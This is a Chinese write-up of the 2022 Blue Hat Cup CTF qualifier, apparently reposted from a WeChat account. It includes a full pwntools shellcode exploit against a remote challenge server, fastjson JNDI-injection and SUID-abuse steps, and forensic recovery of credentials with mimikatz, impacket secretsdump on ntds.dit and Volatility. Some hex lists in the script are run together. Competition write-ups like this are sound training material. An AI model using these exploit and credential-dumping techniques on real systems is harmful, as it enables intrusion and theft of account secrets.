2022蓝帽杯初赛writeup
2022-8-19 08:0:16 Author: 雾晓安全(查看原文) 阅读量:28 收藏

Ez_gadget
首先写代码碰撞出需要的str
利用这个工具打jndi注入
修改下面几个地方用来弹shell
最后按照工具的使用生成jar包运行在服务器。
接着把payload直接打进去。可以直接换行绕过也可以unicode编码关键字绕过或者16进制编码绕过都可以(fastjson会自动进行解码)
suid扫发现了date。直接date读取

PWN1

# -*- coding: UTF-8 -*-
from pwn import *
import os
from struct import pack

#-----------------------------
file_path = './escape_shellcode'
# arch = "x86"
arch = "x64"
libc_version = "2.23"
lib = '2.23-0ubuntu3_amd64'
bps=[]
remote_ip = "39.106.156.74"
remote_port = 44816
pie = 1
#-----------------------------

# context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.terminal = ['gnome-terminal','--window''--geometry=137x70+1315+0''-x''sh''-c']

context(binary=file_path, os='linux', arch = 'amd64', log_level='debug')
elf = ELF(file_path)
_debug_ = 0

if _debug_:
    # libc_path = "./libc-2.27.so"
    # ld_path = "./libc-2.27.so"
    # ld_path = "/glibc/"+arch+"/" + libc_version + "/lib/ld-" + libc_version + ".so"
    # libc_path = "/glibc/"+arch+"/" + libc_version + "/lib/libc-" + s + ".so"
    lib_path = "/home/youyue271/Desktop/glibc-all-in-one/libs/" + lib
    ld_path = lib_path + "/ld-" + libc_version + '.so'
    libc_path = lib_path + '/libc-' + libc_version + '.so'
    libc = ELF(libc_path)
    if lib == '2.23-0ubuntu11.3_amd64':
        onegadget = [0x452260x4527a0xf03a40xf1247]
    elif lib == '2.23-0ubuntu3_amd64':
        onegadget = [0x452060x4525a0xef9f40xf0897]
    cmd ='set follow-fork-mode child\n'
    # cmd = ''
    if pie:
        cmd +=''.join(['b *$rebase({:#x})\n'.format(b) for b in bps])  
    else:
        cmd +=''.join(['b *{:#x}\n'.format(b) for b in bps]) 
    # cmd +='c'
    io = process(file_path)
    # io = process([ld_path, file_path],env={"LD_PRELOAD":libc_path})
    # io = gdb.debug([file_path], cmd)#, env={'LD_PRELOAD': ld_path})
else:
    io = remote(remote_ip,remote_port)
    # libc_path = "/glibc/"+arch +"/" + libc_version + "/lib/libc-" + libc_version + ".so"
    # libc = ELF(libc_path)
    libc = ELF("/home/youyue271/Desktop/buulibc/libc-" + libc_version + "-" + arch + ".so")
    if libc_version == '2.23' and arch == 'x64':
        onegadget = [0x452160x4526a0xf02a40xf1147]
    # libc_path = "/glibc/"+arch+"/" + libc_version + "/lib/libc-" + libc_version + ".so"
    # libc = ELF(libc_path)
    # libc = ELF("./libc-2.27.so")

def attach():
    gdb.attach(io, cmd)
    pause()

puts_got = elf.got['puts']
# attach()
shellcode = """
    mov rsi, [rip - 0x2a9]
    sub rsi, 0x4000
    mov rdi, 1
    mov rdx, 0x400
    Loop1:
    sub rsi, 0x400
    mov rax, 1
    syscall
    cmp rax, 0
    jl Loop1
    and rsi, 0xfffffffffffff000
    add rsi, 0x120
    mov rdx, 0x50
    mov rax, 1
    syscall
"""

shellcode = asm(shellcode,arch = "amd64")
# attach()
io.sendline(shellcode)
# 0x2072e0
 
io.interactive()
#  mov rsi, r8
#  mov rdi, 1
#  mov rdx, 0x30
#  mov rax, 1
#  syscall
# 0x55576ee55400 0x55576ec4e120
# 0x563a323ca400 0x563a30fed120
# -0x1130 0x7f23a0881098 0x221c08 0x270
# 0x7ffec83f7f28 0x7ffec83f7cb8
# 0x564bad062040 0x564bad066120 0x40e0

在堆⾥⾯有堆⾃⼰的地址,也有libc地址,⼀开始想找environ,跳到栈⾥找text段的地址的,结果远程的environ打不通,就换了 个思路直接从堆向下爆破出flag了,反正flag在data段的最后,肯定能找到

domainhacker

  1. 大概看下流量,根据特征可以判断是蚁剑混淆流量

2.将流量中文件全部提取,得到一个加密压缩包
3.看流量分析,找到传输文件位置前后,利用 cybershef 工具解密混淆,再 base64 解码即可得 到压缩包密码,文件是 mimikatz 运行结果,ntml 就是答案所要哈希
domainhacker2
  1. 同 misc1,同样蚁剑流量,给了压缩包找密码即可。
  2. 翻流量,可以根据 response 包快速定位压缩文件命令位置,同样解混淆,base64 解码得到压 缩包密码
3. 打开压缩包发现里面有 system 文件、ntds.dit 活动目录文件,直接使用 kali 工具 impacketsecretdump 提取散列值。因为要的是管理员上一次密码哈希,所以加上 history 命令,找 到上一次即可。

程序分析1

程序分析2
程序分析3
程序分析4
网站取证1
D 盾扫描,找到木马文件,一句话木马
网站取证2
1. 在database.php里找到数据库密码
2跟进my_encrypt()函数
3. 运⾏得到密码
网站取证3
全局搜md5
网站取证4
1. 先将sql⽂件导⼊数据库,然后导出exel,通过excel筛选出符合条件的转账记录
2.找到解密⾦额的脚本
3. 编写批量解密脚本
    <?php
    function decrypt($data, $key = 'jyzg123456')
        
{
    //        header('Content-type:text/html;charset=utf-8');
            $key = md5($key);
            $x = 0;
            $data = base64_decode($data);
            $len = mb_strlen($data);
            $l = mb_strlen($key);
            $char = '';
            $str = '';
            for ($i = 0; $i < $len; $i++) {
                if ($x == $l) {
                    $x = 0;
                }
                $char .= mb_substr($key, $x, 1);
                $x++;
            }
            for ($i = 0; $i < $len; $i++) {
                if (ord(mb_substr($data, $i, 1)) < ord(mb_substr($char, $i, 1))) {
                    $str .= chr((ord(mb_substr($data, $i, 1)) + 256) - ord(mb_substr($char, $i, 1)));
                } else {
                    $str .= chr(ord(mb_substr($data, $i, 1)) - ord(mb_substr($char, $i, 1)));
                }
            }
            return $str;
        }
    $a = ['mZVymm9t''lpxqlXFo''l5xummto''m5Zwm3Bn''nJhtlGlm''m5tpmGtm''m5ptnGtu''mZlym25r''m5hpnHBu''m5prlm9u''nJlyl2hu''lptummhs''lpxrl21n''mZRpnHBs''mZpxm2lr''m5dtmGls''mpxvlnBv''mJpynHBt''nJZwm2lu''mpdtnWxq''nJdtlmpr''mZtymHBm''nJlslmpp''l5RunW1p''nJxplXFm''lZdpmm1s''mZZwnW9u''mJVrmmhp''lZZwl3Bs''m5xvm2hm''mpZslmpm''mZtrnGtp''lp1rm21t''nJxplmtp''l5twlXFq''lphqmm9s''m51wmG1q''mJlxlWto''lJ1vmXFq''mpVpmW5r''m5lrlGpr''mpxplm9u''lZpxnHFn''nJdymWpm''mJpum3Fo''lpRrmWto''lZtunXBv''lpprnWtt''lJdslnBr''lJZrnWpm''l5Zrm21m''lJdul2hm''mphylG9q''lZhpm2pp''lZ1qnW1s''nJ1tlHFp''mZxqm2tp''mZdsm21t''mpRvlG9o''mJVqlmhv''mJRwlHBq''l5dtmWtt''mZdylHFt''l5RqlWxn''mZ1um3Fs''lJ1rnWhu''m5pulWhv''lptrnW1u''m5xynWxn''lpRynGtr''mpxulGlm''nJdslm9r''lJhslHBq''nJpwnWhu''mptql2tv''l51xmmlp''mZVymXFn''lJhqnW5q''m5ppmGpr''mZlqm21t''mpZslWxt''mJ1pnHFm''l5drlXBp''mJlvmW1u''mZtxlG5t''nJtsnHFn''l5Rvm29o''m5xvlWxv''m5Zrl2xm''mZlwlG1u''nJpvlWtr''mJxym25s''lpVqnWxv''mZVvl3Fq''lZVtlW5m''lZRqlGhn''nJxqm2hn''nJVtl21s''lJdumWlq''mJtxmGtp''mZxsnHFv''lpdtl2xn''mphqlm5p''lJdxlGpn''lpVvlHFu''lJhvmHBn''l5xunGtv''lZRul2pt''mpdqnGxu''l5Zxlmho''lJppmWhq''nJVylWpp''m5VxnWlr''lpdsnGtq''mZ1tnGpt''mJVqmmtq''l5hslWhm''lZZtl21r''nJlumGlm''lJhsmW9t''lZZym25s''l5tpnHBt''nJVunG1q''mJdtlHFu''mpVtlnFp''mplrnG1t''mJ1ylHBr''nJhynG5m''mplymG1r''lJtxlGxo''lpRxnGlm''mZxwnG5s''mZptnWpn''mJZylGxq''mZZvm3Fo''lJdxnW9t''lZtxmXFv''nJxtlXFm''mJZumW1r''nJ1tmG1p''mplslmpu''lJZxlG5p''nJtxmXBq''lZdxmmtq''lJdrlG1o''mpZtmmlm''mJVxnGpm''mJVwmWxu''mplslWps'];
    for ($i=0;$i<149;$i++){
     echo decrypt($a[$i])."\n";
    } 
    
    //echo decrypt("$argv[1]","jyzg123456");
    //return decrypt("$argv[1]","jyzg123456");
    
计算机取证1
volatility 内存取证即可,mimikatz 可见明文
计算机取证2
pslist 看一下进程,看到这个名称比较符合,搜一下确让是个提取内存镜像工具,提交 pid 即可
计算机取证3
利⽤取证⼤师提取内存镜像的bitlocker和truecrypt密钥⽂件导出 取证⼤师bitlocker解密
发现两个office⽂件,⼀个pass.txt,推测密码就在⾥⾯
计算机取证4
先把磁盘镜像中的新建文本文档导出,然后用truecrypt密钥解密
然后取证⼤师硬盘取证
zip爆破,密码是991314

点击蓝字

关注我们

Cyber Guard
#漏洞复现#CTF技巧#安全信息#渗透测试
公众号

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDM2MTE5Mw==&mid=2247494760&idx=3&sn=87be55b1f54ad45ab80df7ba64084a19&chksm=ce6823eef91faaf8a9d8bb23676890847d2d041e4003c250b1e8dbc3e74990bd1a9da6d4e191#rd
如有侵权请联系:admin#unsafe.sh